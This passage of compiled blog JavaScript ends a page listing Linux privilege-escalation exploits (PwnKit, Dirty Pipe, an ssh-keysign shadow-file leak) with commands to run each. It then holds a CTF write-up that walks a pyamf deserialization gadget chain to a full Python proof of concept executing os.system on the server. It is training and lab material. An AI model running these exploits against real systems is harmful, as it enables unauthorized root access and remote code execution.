\u6f0f\u6d1e\u8986\u5199\u5185\u6838\u810f\u6570\u636e"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-46333"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"ssh-keysign-pwn"}),(0,s.jsxs)(n.td,{style:{textAlign:"left"},children:["Linux \u5185\u6838\u8fdb\u7a0b\u9000\u51fa\u8def\u5f84\u7ade\u6001\u6761\u4ef6\uff0c\u5141\u8bb8\u4fe1\u606f\u6cc4\u9732\uff0c\u652f\u6301 ",(0,s.jsx)(n.code,{children:"-target shadow"})," \u6216 ",(0,s.jsx)(n.code,{children:"-target key"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2026-43494"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"PinTheft"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u5229\u7528 RDS zerocopy double-free \u4e0e io_uring page cache overwrite"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"dirtydecrypt"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"DirtyDecrypt / DirtyCBC"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u672c\u5730\u63d0\u6743\uff0c\u5229\u7528 rxgk_decrypt_skb() \u7f3a\u5c11 COW \u4fdd\u62a4\u5bfc\u81f4 page cache \u5199\u5165"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2021-4034"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"PwnKit"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Polkit pkexec \u672c\u5730\u63d0\u6743\u6f0f\u6d1e"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2021-3560"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Polkit Authentication Bypass"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Polkit D-Bus \u6743\u9650\u7ed5\u8fc7"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"CVE-2022-0847"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Dirty Pipe"}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"Linux Kernel \u7ba1\u9053\u673a\u5236\u76f8\u5173\u672c\u5730\u63d0\u6743\u6f0f\u6d1e"})]})]})]}),"\n",(0,s.jsx)(n.h2,{id:"\u793a\u4f8b\u547d\u4ee4",children:"\u793a\u4f8b\u547d\u4ee4"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:"./roothawkx_linux_amd64 -list\n./roothawkx_linux_amd64 -e CVE-2021-4034\n./roothawkx_linux_amd64 -e CVE-2021-4034 -pk /usr/bin/pkexec\n./roothawkx_linux_amd64 -e CVE-2026-31431 -backup /tmp/su.bak\n./roothawkx_linux_amd64 -e CVE-2026-31431 -backup /tmp/su.bak -exec /tmp/root-task\n./roothawkx_linux_amd64 -e CVE-2026-43284 -v\n./roothawkx_linux_amd64 -e CVE-2026-46300\n./roothawkx_linux_amd64 -e fragnesia -v\n./roothawkx_linux_amd64 -e pintheft\n./roothawkx_linux_amd64 -e dirtydecrypt\n./roothawkx_linux_amd64 -e dirtyclone\n./roothawkx_linux_amd64 -e cow\n./roothawkx_linux_amd64 -e keysign -target shadow\n./roothawkx_linux_amd64 -any\n"})}),"\n",(0,s.jsx)(n.h2,{id:"\u4f7f\u7528\u6ce8\u610f",children:"\u4f7f\u7528\u6ce8\u610f"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u53ea\u5728\u6388\u6743\u73af\u5883\u3001\u9776\u573a\u3001\u865a\u62df\u673a\u6216\u81ea\u6709\u6d4b\u8bd5\u673a\u4e0a\u8fd0\u884c\u3002"}),"\n",(0,s.jsxs)(n.li,{children:["\u6d89\u53ca ",(0,s.jsx)(n.code,{children:"/usr/bin/su"}),"\u3001",(0,s.jsx)(n.code,{children:"pkexec"}),"\u3001page cache \u8986\u5199\u7b49\u6a21\u5757\u65f6\uff0c\u4f18\u5148\u4f7f\u7528\u5feb\u7167\u73af\u5883\u6d4b\u8bd5\u3002"]}),"\n",(0,s.jsx)(n.li,{children:"\u6267\u884c\u524d\u8bb0\u5f55\u7cfb\u7edf\u7248\u672c\u3001\u5185\u6838\u7248\u672c\u548c\u5de5\u5177\u54c8\u5e0c\uff0c\u4fbf\u4e8e\u590d\u73b0\u548c\u56de\u6eda\u3002"}),"\n",(0,s.jsxs)(n.li,{children:["\u4e0d\u5efa\u8bae\u5728\u751f\u4ea7\u7cfb\u7edf\u4e0a\u76f4\u63a5\u8fd0\u884c ",(0,s.jsx)(n.code,{children:"-any"}),"\uff0c\u5e94\u5148\u901a\u8fc7 ",(0,s.jsx)(n.code,{children:"-list"})," \u548c\u7cfb\u7edf\u7248\u672c\u7b5b\u9009\u76ee\u6807\u6a21\u5757\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["\u5982\u679c\u6a21\u5757\u63d0\u4f9b ",(0,s.jsx)(n.code,{children:"-backup"})," \u53c2\u6570\uff0c\u4f18\u5148\u6307\u5b9a\u5907\u4efd\u8def\u5f84\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u53c2\u8003\u94fe\u63a5",children:"\u53c2\u8003\u94fe\u63a5"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/DeEpinGh0st/RootHawkX",children:"RootHawkX \u4e0a\u6e38\u4ed3\u5e93"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/DeEpinGh0st/RootHawkX/releases/tag/v1.1",children:"RootHawkX v1.1 Release"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/RoadBicycle-C/RootHawk",children:"RootHawk \u539f\u9879\u76ee"})}),"\n"]})]})}function a(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}},87772:(e,n,t)=>{t.d(n,{A:()=>l});const l=t.p+"assets/files/RootHawkX-v1.1-88e0fdffdc2210668c6117fdf99c34d2.zip"}}]); \ No newline at end of file diff --git a/assets/js/305e9cf4.44909f5d.js b/assets/js/305e9cf4.44909f5d.js new file mode 100644 index 0000000..cd9a3ba --- /dev/null +++ b/assets/js/305e9cf4.44909f5d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8730],{24524:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>a,contentTitle:()=>l,default:()=>g,frontMatter:()=>c,metadata:()=>t,toc:()=>d});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/Knownsec/knownsec-ctf-09/README","title":"KnownSec 2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/01.Knownsec/01.knownsec-ctf-09/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/01.Knownsec/01.knownsec-ctf-09","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/Knownsec/knownsec-ctf-09/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/Knownsec/knownsec-ctf-09/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/01.Knownsec/01.knownsec-ctf-09/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u626b\u63cf\u6a21\u5f0f","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u626b\u63cf\u6a21\u5f0f"},"next":{"title":"01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09"}}');var r=s(74848),i=s(28453);const c={},l="KnownSec 2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3",a={},d=[];function o(n){const e={a:"a",blockquote:"blockquote",code:"code",h1:"h1",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"knownsec-2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3",children:"KnownSec 2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:39:14"})]})})]}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsxs)(e.p,{children:["\u9898\u76ee\u6e90\u7801 -> ",(0,r.jsx)(e.a,{href:"https://cdn.wjlin0.com/halo-img/vyrpgtqhknoxypax.bz2",children:"vyrpgtqhknoxypax.bz2"})]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5bf9\u9898\u76ee\u4e0b\u8f7d\u7684\u6e90\u7801\u5206\u6790\uff0c\u53d1\u73b0\u4e3a\u4e00\u4e2a\u7b80\u6613\u7684\u6587\u4ef6\u670d\u52a1\u5668\uff0c\u4f46\u662f\u9700\u8981\u5bc6\u7801\u624d\u80fd\u767b\u5f55"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'from pyamf.remoting.gateway.wsgi import WSGIGateway\n\nimport logging\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.DEBUG) # \u8bbe\u7f6e\u65e5\u5fd7\u7ea7\u522b\u4e3a NOTSET\n\n# \u521b\u5efa\u4e00\u4e2a StreamHandler \u5904\u7406\u5668\u5e76\u8bbe\u7f6e\u5176\u7ea7\u522b\u4e3a DEBUG\nstream_handler = logging.StreamHandler()\nstream_handler.setLevel(logging.DEBUG)\n\n# \u521b\u5efa\u4e00\u4e2a\u683c\u5f0f\u5316\u5668\u5e76\u5c06\u5176\u5e94\u7528\u4e8e\u5904\u7406\u5668\nformatter = logging.Formatter(\'%(asctime)s - %(levelname)s - %(message)s\')\nstream_handler.setFormatter(formatter)\n\n# \u5c06\u5904\u7406\u5668\u6dfb\u52a0\u5230 logger\nlogger.addHandler(stream_handler)\n\n\n\nADMIN_USER = "??"\nADMIN_PASS = "??"\n\n\nclass FileManagerService:\n def read(self, filename):\n with open(filename, "rb") as f:\n return f.read()\n\n def list(self, path="/"):\n import os\n return os.listdir(path)\n\n\ndef auth(username, password):\n if username == ADMIN_USER and password == ADMIN_PASS:\n return True\n\n return False\n\n\ngateway = WSGIGateway({"file_manager": FileManagerService}, authenticator=auth, logger=logger)\n\n\nif __name__ == "__main__":\n from wsgiref import simple_server\n\n host = "0.0.0.0"\n port = 5000\n\n httpd = simple_server.WSGIServer((host, port), simple_server.WSGIRequestHandler)\n httpd.set_app(gateway)\n\n logger.info("Running Authentication AMF gateway on http://%s:%d" % (host, port))\n\n try:\n httpd.serve_forever()\n except KeyboardInterrupt:\n pass\n\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u4ece",(0,r.jsx)(e.code,{children:"github"}),"\u4e0a\u7684 pyamf \u4ecb\u7ecd\u53ef\u4ee5\u770b\u5230 \u4ed6\u662f\u4e0eFlash\u7684",(0,r.jsx)(e.code,{children:"amf"}),"\u517c\u5bb9\u7684\u4e00\u4e2a\u5e93\uff0c\u4e0e\u5e38\u7528\u7684",(0,r.jsx)(e.code,{children:"python"})," web\u6846\u67b6",(0,r.jsx)(e.code,{children:"Django\uff0cPylons\uff0cTwisted\uff0cSQLAlchemy\uff0cweb2py"}),"\u517c\u5bb9\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314766.png-.png",alt:"image-20230928152047488"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5b83\u53ef\u4ee5\u5229\u7528",(0,r.jsx)(e.code,{children:"amf"}),"\u534f\u8bae\u5b9a\u4e49\u4e0b\u7684\u683c\u5f0f\uff0c\u8fdb\u884c\u8fdc\u7a0b\u5bf9\u8c61\u8c03\u7528\u3001\u6267\u884c\uff0c\u4e8e\u662f\u53ea\u8981\u6ee1\u8db3amf\u683c\u5f0f\u7684\u5bf9\u8c61\u5c31\u80fd\u591f\u8fdb\u884c\u8fdc\u7a0b\u8c03\u7528\uff0c\u5373\u53ef\uff1b"]}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u8fc7\u67e5\u9605\u8d44\u6599\u53ef\u4ee5\u5f97\u77e5\uff0cAMF3\u9700\u8981\u6ee1\u8db3\u4ee5\u4e0b\u683c\u5f0f"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-tex",children:"00 03 00 00 00 01 00 01 61 00 01 62 ......\n# 00 03 amf\u534f\u8bae\u7684\u7248\u672c\u53f7 3\n# 00 00 \u5934\u90e8\u6570\u636e \u4e3a0 \n# 00 01 \u6d88\u606f\u4f53 1\n# 00 01 \u76ee\u6807\u957f\u5ea6 \n# 61 \u76ee\u6807 -> a\n# 00 01 \u63a5\u6536\u957f\u5ea6\n# 62 \u63a5\u6536\u65b9 b\n# ..... \u6d88\u606f\u4f53\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u800c\u6d88\u606f\u4f53\u53ea\u9700\u8981\u6ee1\u8db3\u662famf\u8f6c\u6362\u7684 \u5bf9\u8c61 int\u3001bool\u3001\u7b49\u7c7b\u578b\u7684\u6570\u636e\u5747\u53ef\u88ab\u4f20\u9012"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314767.png-.png",alt:"image-20230928155624774"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5728",(0,r.jsx)(e.code,{children:"py3amf"}),"\u8fd9\u4e2a\u5305\u4e2d\uff0c\u5b83\u672c\u8eab\u652f\u6301\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\uff0c\u4e8e\u662f\u6211\u4eec\u53ea\u9700\u8981\u4e86\u89e3\u5b83\u7684\u8c03\u7528\u8fc7\u7a0b\uff0c\u5c31\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u7279\u70b9\u8fdb\u884c\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5728",(0,r.jsx)(e.code,{children:"pyamf\\remoting\\gateway\\wsgi.py"})," \u8fd9\u4e2a\u65b9\u6cd5\u5bf9\u8fdc\u7a0b\u4ee3\u7801\u8fdb\u884c\u4e86\u89e3\u7801\u64cd\u4f5c"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314768.png-.png",alt:"image-20230928155934795"})}),"\n",(0,r.jsx)(e.p,{children:"\u8ddf\u8fdb\uff0c\u5c31\u4f1a\u53d1\u73b0\u5b83\u8bfb\u51fa\u4e86\u6211\u4eec\u8bbe\u5b9a\u7684target\u548cresponse"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314769.png-.png",alt:"image-20230928160140437"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314770.png-.png",alt:"image-20230928160222907"})}),"\n",(0,r.jsxs)(e.p,{children:["\u800c\u5173\u952e\u5c31\u5728",(0,r.jsx)(e.code,{children:"decoder.readElement()->self._readElemnt()"}),"\u4e2d"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314771.png-.png",alt:"image-20230928160256940"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314772.png-.png",alt:"image-20230928160357959"})}),"\n",(0,r.jsx)(e.p,{children:"\u9996\u5148\u662f\u8bfb\u51fa\u4e86\u5b57\u8282\u662f\u54ea\u79cd\u7c7b\u578b"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314773.png-.png",alt:"image-20230928160545964"})}),"\n",(0,r.jsx)(e.p,{children:"\u800c\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u8bfb\u51faamf\u683c\u5f0f\u7684\u5bf9\u8c61"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314774.png-.png",alt:"image-20230928160649837"})}),"\n",(0,r.jsxs)(e.p,{children:["\u9996\u5148\u4f1a\u8bfb\u51fa",(0,r.jsx)(e.code,{children:"\u7c7b\u540d"})," -> ",(0,r.jsx)(e.code,{children:"\u9759\u6001\u5c5e\u6027\u3001\u52a8\u6001\u5c5e\u6027"}),"\uff0c\u8fd9\u5c31\u5b8c\u6210\u4e86\u4e00\u4e2a\u5bf9\u8c61\u7684\u52a0\u8f7d\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314775.png-.png",alt:"image-20230928161017686"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314776.png-.png",alt:"image-20230928161046419"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314777.png-.png",alt:"image-20230928161110524"})}),"\n",(0,r.jsx)(e.p,{children:"\u4f46\u6700\u540e\u4e3a\u4f55\u4f1a\u89e6\u53d1\u8fd9\u4e9b\u88ab\u5b9e\u4f8b\u5316\u7684\u5bf9\u8c61\u5462\uff0c\u6211\u4eec\u77e5\u9053\u5728python \u5b58\u5728\u67d0\u4e9b\u9b54\u6cd5\u65b9\u6cd5\uff0c\u5f53\u5728\u4e00\u5b9a\u6761\u4ef6\u4e0b\uff0c\u5c31\u4f1a\u89e6\u53d1\uff0c\u4f8b\u5982\uff0c\u4ee5\u4e0b\u51fd\u6570\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314778.png-.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314779.png-.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314780.png-.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314782.png-.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314783.png-.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314784.png-.png",alt:"img"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6240\u4ee5\u540e\u7eed\u64cd\u4f5c\u65f6\uff0c\u5f88\u5bb9\u6613\u5c31\u4f1a\u89e6\u53d1\u8fd9\u4e9b\u9b54\u6cd5\u65b9\u6cd5\uff0c\u5f53\u6211\u4eec\u5c31\u9700\u8981\u5bfb\u627e \u5728\u90a3\u4e2a\u9b54\u6cd5\u65b9\u6cd5\u91cc\u80fd\u591f\u627e\u5230\u4e00\u4e2a \u6211\u4eec\u53ef\u4ee5\u63a7\u5236\u5e76\u8c03\u7528\u7684\u5176\u4ed6\u5bf9\u8c61\u7684\u65b9\u6cd5\u7684\u4e00\u4e9b\u8c03\u7528\u94fe\uff0c\u6700\u7ec8\u627e\u5230\u80fd\u591f\u63a7\u5236\u7684\u51fd\u6570\u8c03\u7528 ",(0,r.jsx)(e.code,{children:"eval"}),"\u3001",(0,r.jsx)(e.code,{children:"exec"})," \u3001",(0,r.jsx)(e.code,{children:"os.system"})]}),"\n",(0,r.jsxs)(e.p,{children:["\u7136\u800c\u8fd9\u9053\u9898\u7ed9\u4e86\u6211\u4eec\u63d0\u793a\uff0c\u5728\u8fd9\u4e2a\u5efa\u8bae\u7684\u6587\u4ef6\u670d\u52a1\u5668\u4e2d\uff0c\u6ee1\u8db3\u4e00\u5b9a\u6761\u4ef6\u5c31\u53ef\u4ee5\u8c03\u7528\u6211\u4eec\u751f\u6210\u51fa\u6765\u7684",(0,r.jsx)(e.code,{children:"service"})]}),"\n",(0,r.jsx)(e.p,{children:"\u5982\u4e0b\u6240\u793a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314785.png-.png",alt:"image-20230928162028502"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314786.png-.png",alt:"image-20230928162135714"})}),"\n",(0,r.jsxs)(e.p,{children:["\u4e0d\u96be\u770b\u51fa\uff0c\u53ea\u8981",(0,r.jsx)(e.code,{children:"self.service\u3001method\u3001params"}),"\u53ef\u4ee5\u63a7\u5236,\u5c31\u53ef\u4ee5\u5b9e\u73b0\u4efb\u610f\u7c7b\u7684",(0,r.jsx)(e.strong,{children:"\u516c\u6709\u65b9\u6cd5"}),"\u8c03\u7528\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u5411\u4e0a\u67e5\u627e\uff0c\u90a3\u4e2a\u80fd\u591f\u5bf9\u8c61\u89e6\u53d1",(0,r.jsx)(e.code,{children:"pyamf.remoting.gateway.ServiceWrapper"}),"\u7684",(0,r.jsx)(e.code,{children:"__call__"}),"\u65b9\u6cd5\u3001\u6ee1\u8db3\u8c03\u7528\u65f6\u5b58\u5728\u4e24\u4e2a\u53c2\u6570\uff0c\u5e76\u4e14\u80fd\u591f\u5b9e\u4f8b\u5316\u65f6\u4e0d\u9700\u8981\u4efb\u4f55\u53c2\u6570\uff0c\u5c31\u80fd\u591f\u5b9e\u4f8b\u5316\uff0c\u5f88\u9057\u61be\u6211\u6ca1\u6709\u76f4\u63a5 \u76f4\u63a5\u627e\u5230\u8fd9\u4e48\u4e00\u4e2a\u7c7b\u6ee1\u8db3\u8fd9\u4e2a\u6761\u4ef6\uff0c\u4f46\u6211\u627e\u5230\u4e86\u4e00\u4e2a\u7c7b\u53ef\u4ee5\u901a\u8fc7\u91cd\u590d\u8c03\u7528\u81ea\u5df1\u4f7f\u5176\u6ee1\u8db3\u4e24\u4e2a\uff0c\u5e76\u4e14\u5b83\u7684",(0,r.jsx)(e.code,{children:"__new__"})," \u65b9\u6cd5\u4e0d\u9700\u8981\u4efb\u4f55\u53c2\u6570"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314787.png-.png",alt:"image-20230928165235163"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u53d1\u73b0\u8fd9\u4e2a\u6700\u5916\u5c42\u7684\u5bf9\u8c61\u5728 ",(0,r.jsx)(e.code,{children:"Request()"}),"\u4e2d\u8fdb\u884c\uff0c\u7a7a\u5bf9\u8c61\u6bd4\u8f83\u662f\uff0c\u4f1a\u89e6\u53d1",(0,r.jsx)(e.code,{children:"__len__"}),"\u65b9\u6cd5"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314788.png-.png",alt:"image-20230928165553526"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314789.png-.png",alt:"image-20230928165646492"})}),"\n",(0,r.jsx)(e.p,{children:"\u6240\u4ee5\u540e\u9762\u80fd\u591f\u8854\u63a5 \u53ea\u8981\u8c03\u7528\u5c5e\u6027\u5bf9\u8c61\u88ab\u5f53\u6210\u65b9\u6cd5\u8c03\u7528\u5373\u53ef"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314790.png-.png",alt:"image-20230928165738257"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6700\u7ec8\u5728",(0,r.jsx)(e.code,{children:"pyamf.util.pure.BytesIOProxy"}),"\u7684",(0,r.jsx)(e.code,{children:"__len__"})," \u627e\u5230\u4e86"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314791.png-.png",alt:"image-20230928165747768"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u6b64\u65f6\u80fd\u591f\u5bf9\u4efb\u610f\u7c7b\u7684\u4efb\u610f\u65b9\u6cd5\u6267\u884c\u4e86\uff0c\u4e8e\u662f\u627e\u4e00\u4e2a\u6267\u884c\u4e86eval\u3001exec \u7684\u65b9\u6cd5\u5373\u53ef\uff0c\u4e00\u4e2a\u5e38\u7528\u7684\u7c7b",(0,r.jsx)(e.code,{children:"pdb.Pdb"}),"\u4e2d\u7684\u5f88\u591a\u65b9\u6cd5\u90fd\u8c03\u7528\u4e86",(0,r.jsx)(e.code,{children:"exec"}),"\uff0c\u4f46\u6211\u4eec\u9700\u8981\u4e00\u4e2a\u516c\u5f00\u7684\u65b9\u6cd5 ",(0,r.jsx)(e.code,{children:"do_break"})]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314792.png-.png",alt:"image-20230928171305147"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e8e\u662f\u5b8c\u6574\u7684poc\u5982\u4e0b"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'from pyamf import amf0, amf3, util\n\nAMF = amf3\n\n\ndef serialize(obj):\n stream = util.BufferedByteStream()\n context = AMF.Context()\n encoder = AMF.Encoder(stream, context)\n encoder.writeElement(obj)\n return stream.getvalue()\n\n\ndef deserialize(data):\n stream = util.BufferedByteStream(data)\n context = AMF.Context()\n decoder = AMF.Decoder(stream, context)\n return decoder.readElement()\n\n\ndef serialize_attrs(attrs):\n s = b""\n for k, v in attrs.items():\n s += serialize(k)[1:]\n if isinstance(v, Obj):\n s += v.serialize()\n else:\n s += serialize(v)\n\n s += serialize(None)\n return s\n\n\nclass Obj:\n def __init__(self, _name, **kwargs):\n self.name = _name\n self.attrs = kwargs\n\n def serialize(self):\n s = b"\\x0a\\x0b" + serialize(self.name)[1:]\n s += serialize_attrs(self.attrs)\n return s\n\nserialized = Obj(\n "pyamf.util.pure.BytesIOProxy",\n _len_changed=True,\n _len=48763,\n _get_len=Obj(\n "xmlrpc.client._Method",\n _Method__send=Obj(\n "xmlrpc.client._Method",\n _Method__send=Obj(\n "pyamf.remoting.gateway.ServiceWrapper",\n service=Obj(\n "pdb.Pdb",\n curframe=Obj("pyamf.adapters._weakref.Foo", f_globals={}),\n curframe_locals={},\n stdout=None\n ),\n ),\n _Method__name="do_break",\n ),\n _Method__name="""\n __import__("os").system("dir")\n """.strip(), # your exploit here\n ),\n).serialize()\n\n\n\nimport requests\n\nserialized = b"\\x11" + serialized\nr = requests.post(\n "http://localhost:5000/",\n data=b"\\x00\\x03"\n + b"\\x00\\x00"\n + b"\\x00\\x01"\n + b"\\x00\\x01c"\n + b"\\x00\\x01b"\n + len(serialized).to_bytes(4, "big") + serialized,\n)\n\nprint(r.text)\n\n'})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"Referer"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.a,{href:"https://blog.splitline.tw/hitcon-ctf-2023-challenges-zh_tw/",children:"https://blog.splitline.tw/hitcon-ctf-2023-challenges-zh_tw/"})}),"\n"]})]})}function 